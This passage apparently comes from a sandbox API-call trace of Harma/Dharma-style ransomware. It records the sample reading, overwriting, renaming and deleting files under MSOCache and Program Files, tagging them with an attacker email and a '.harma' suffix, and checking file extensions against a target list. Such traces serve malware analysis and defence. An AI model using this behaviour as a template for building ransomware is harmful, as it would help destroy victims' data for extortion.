lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.109] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.109] WriteFile (in: hFile=0x21c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0063.127] SetEndOfFile (hFile=0x21c) returned 1 [0063.128] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f13108 [0064.052] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.052] WriteFile (in: hFile=0x21c, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.053] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.053] WriteFile (in: hFile=0x21c, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.053] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.053] WriteFile (in: hFile=0x21c, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.055] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13108 | out: hHeap=0x5a0000) returned 1 [0064.057] CloseHandle (hObject=0x21c) returned 1 [0064.401] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0064.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.402] lstrlenW (lpString=".doc") returned 4 [0064.402] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString=".docx") returned 5 [0064.402] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0064.402] lstrlenW (lpString=".pdf") returned 4 [0064.402] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString=".xls") returned 4 [0064.402] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString=".xlsx") returned 5 [0064.402] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0064.402] lstrlenW (lpString=".ppt") returned 4 [0064.402] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.402] lstrlenW (lpString=".zip") returned 4 [0064.402] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString=".rar") returned 4 [0064.402] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString=".bz2") returned 4 [0064.402] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.402] lstrlenW (lpString=".7z") returned 3 [0064.402] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.402] lstrlenW (lpString=".dbf") returned 4 [0064.402] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.402] lstrlenW (lpString=".1cd") returned 4 [0064.402] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.402] lstrlenW (lpString=".jpg") returned 4 [0064.402] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.403] lstrlenW (lpString=".doc") returned 4 [0064.403] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString=".docx") returned 5 [0064.403] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0064.403] lstrlenW (lpString=".pdf") returned 4 [0064.403] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString=".xls") returned 4 [0064.403] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString=".xlsx") returned 5 [0064.403] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0064.403] lstrlenW (lpString=".ppt") returned 4 [0064.403] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.403] lstrlenW (lpString=".zip") returned 4 [0064.403] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString=".rar") returned 4 [0064.403] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString=".bz2") returned 4 [0064.403] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0064.403] lstrlenW (lpString=".7z") returned 3 [0064.403] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0064.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.403] lstrlenW (lpString=".dbf") returned 4 [0064.403] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0064.403] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.403] lstrlenW (lpString=".1cd") returned 4 [0064.403] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0064.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0064.404] lstrlenW (lpString=".jpg") returned 4 [0064.404] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0064.404] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0064.404] lstrlenW (lpString="VisiorWW.msi") returned 12 [0064.404] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0064.943] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=12060672) returned 1 [0064.943] CloseHandle (hObject=0x208) returned 1 [0064.943] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0064.943] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.943] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0064.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0064.944] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0064.944] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.944] ReadFile (in: hFile=0x208, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.948] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.950] ReadFile (in: hFile=0x208, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.959] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.959] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.959] ReadFile (in: hFile=0x208, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.975] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.975] WriteFile (in: hFile=0x208, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0065.211] SetEndOfFile (hFile=0x208) returned 1 [0065.212] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f13108 [0065.212] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.212] WriteFile (in: hFile=0x208, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.213] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.213] WriteFile (in: hFile=0x208, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.219] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.219] WriteFile (in: hFile=0x208, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13108 | out: hHeap=0x5a0000) returned 1 [0065.221] CloseHandle (hObject=0x208) returned 1 [0065.222] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0065.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.223] lstrlenW (lpString=".doc") returned 4 [0065.223] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0065.223] lstrlenW (lpString=".docx") returned 5 [0065.223] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0065.223] lstrlenW (lpString=".pdf") returned 4 [0065.223] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0065.223] lstrlenW (lpString=".xls") returned 4 [0065.223] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0065.223] lstrlenW (lpString=".xlsx") returned 5 [0065.223] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0065.223] lstrlenW (lpString=".ppt") returned 4 [0065.223] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0065.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.223] lstrlenW (lpString=".zip") returned 4 [0065.223] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0065.223] lstrlenW (lpString=".rar") returned 4 [0065.223] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0065.223] lstrlenW (lpString=".bz2") returned 4 [0065.223] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0065.223] lstrlenW (lpString=".7z") returned 3 [0065.223] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0065.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.223] lstrlenW (lpString=".dbf") returned 4 [0065.223] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0065.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.224] lstrlenW (lpString=".1cd") returned 4 [0065.224] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0065.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.224] lstrlenW (lpString=".jpg") returned 4 [0065.224] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0065.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.224] lstrlenW (lpString=".doc") returned 4 [0065.224] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0065.224] lstrlenW (lpString=".docx") returned 5 [0065.224] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0065.224] lstrlenW (lpString=".pdf") returned 4 [0065.224] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0065.224] lstrlenW (lpString=".xls") returned 4 [0065.224] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0065.224] lstrlenW (lpString=".xlsx") returned 5 [0065.224] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0065.224] lstrlenW (lpString=".ppt") returned 4 [0065.224] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0065.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.224] lstrlenW (lpString=".zip") returned 4 [0065.224] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0065.224] lstrlenW (lpString=".rar") returned 4 [0065.224] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0065.224] lstrlenW (lpString=".bz2") returned 4 [0065.224] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0065.224] lstrlenW (lpString=".7z") returned 3 [0065.224] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0065.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.224] lstrlenW (lpString=".dbf") returned 4 [0065.224] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0065.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.225] lstrlenW (lpString=".1cd") returned 4 [0065.225] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0065.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0065.225] lstrlenW (lpString=".jpg") returned 4 [0065.225] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0065.225] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0065.225] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0065.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.365] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=629664) returned 1 [0065.365] CloseHandle (hObject=0x218) returned 1 [0065.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0065.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.365] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.365] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0065.366] GetLastError () returned 0x0 [0065.366] ReadFile (in: hFile=0x218, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0065.380] WriteFile (in: hFile=0x210, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0065.504] ReadFile (in: hFile=0x218, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.504] WriteFile (in: hFile=0x210, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.504] SetEndOfFile (hFile=0x210) returned 1 [0065.505] CloseHandle (hObject=0x210) returned 1 [0065.505] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.505] SetEndOfFile (hFile=0x218) returned 1 [0065.510] CloseHandle (hObject=0x218) returned 1 [0065.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.511] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0065.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.511] lstrlenW (lpString=".doc") returned 4 [0065.511] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0065.511] lstrlenW (lpString=".docx") returned 5 [0065.511] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0065.511] lstrlenW (lpString=".pdf") returned 4 [0065.511] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0065.511] lstrlenW (lpString=".xls") returned 4 [0065.511] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0065.511] lstrlenW (lpString=".xlsx") returned 5 [0065.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0065.511] lstrlenW (lpString=".ppt") returned 4 [0065.511] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0065.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.511] lstrlenW (lpString=".zip") returned 4 [0065.511] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0065.511] lstrlenW (lpString=".rar") returned 4 [0065.511] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0065.511] lstrlenW (lpString=".bz2") returned 4 [0065.511] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0065.511] lstrlenW (lpString=".7z") returned 3 [0065.511] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0065.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.511] lstrlenW (lpString=".dbf") returned 4 [0065.511] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0065.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.512] lstrlenW (lpString=".1cd") returned 4 [0065.512] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0065.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.512] lstrlenW (lpString=".jpg") returned 4 [0065.512] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0065.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.512] lstrlenW (lpString=".doc") returned 4 [0065.512] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0065.512] lstrlenW (lpString=".docx") returned 5 [0065.512] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0065.512] lstrlenW (lpString=".pdf") returned 4 [0065.512] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0065.512] lstrlenW (lpString=".xls") returned 4 [0065.512] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0065.512] lstrlenW (lpString=".xlsx") returned 5 [0065.512] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0065.512] lstrlenW (lpString=".ppt") returned 4 [0065.512] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0065.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.512] lstrlenW (lpString=".zip") returned 4 [0065.512] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0065.512] lstrlenW (lpString=".rar") returned 4 [0065.512] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0065.512] lstrlenW (lpString=".bz2") returned 4 [0065.512] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0065.512] lstrlenW (lpString=".7z") returned 3 [0065.512] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0065.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.512] lstrlenW (lpString=".dbf") returned 4 [0065.512] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0065.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.513] lstrlenW (lpString=".1cd") returned 4 [0065.513] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0065.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0065.513] lstrlenW (lpString=".jpg") returned 4 [0065.513] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0065.513] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0065.513] lstrlenW (lpString="odffilt.dll") 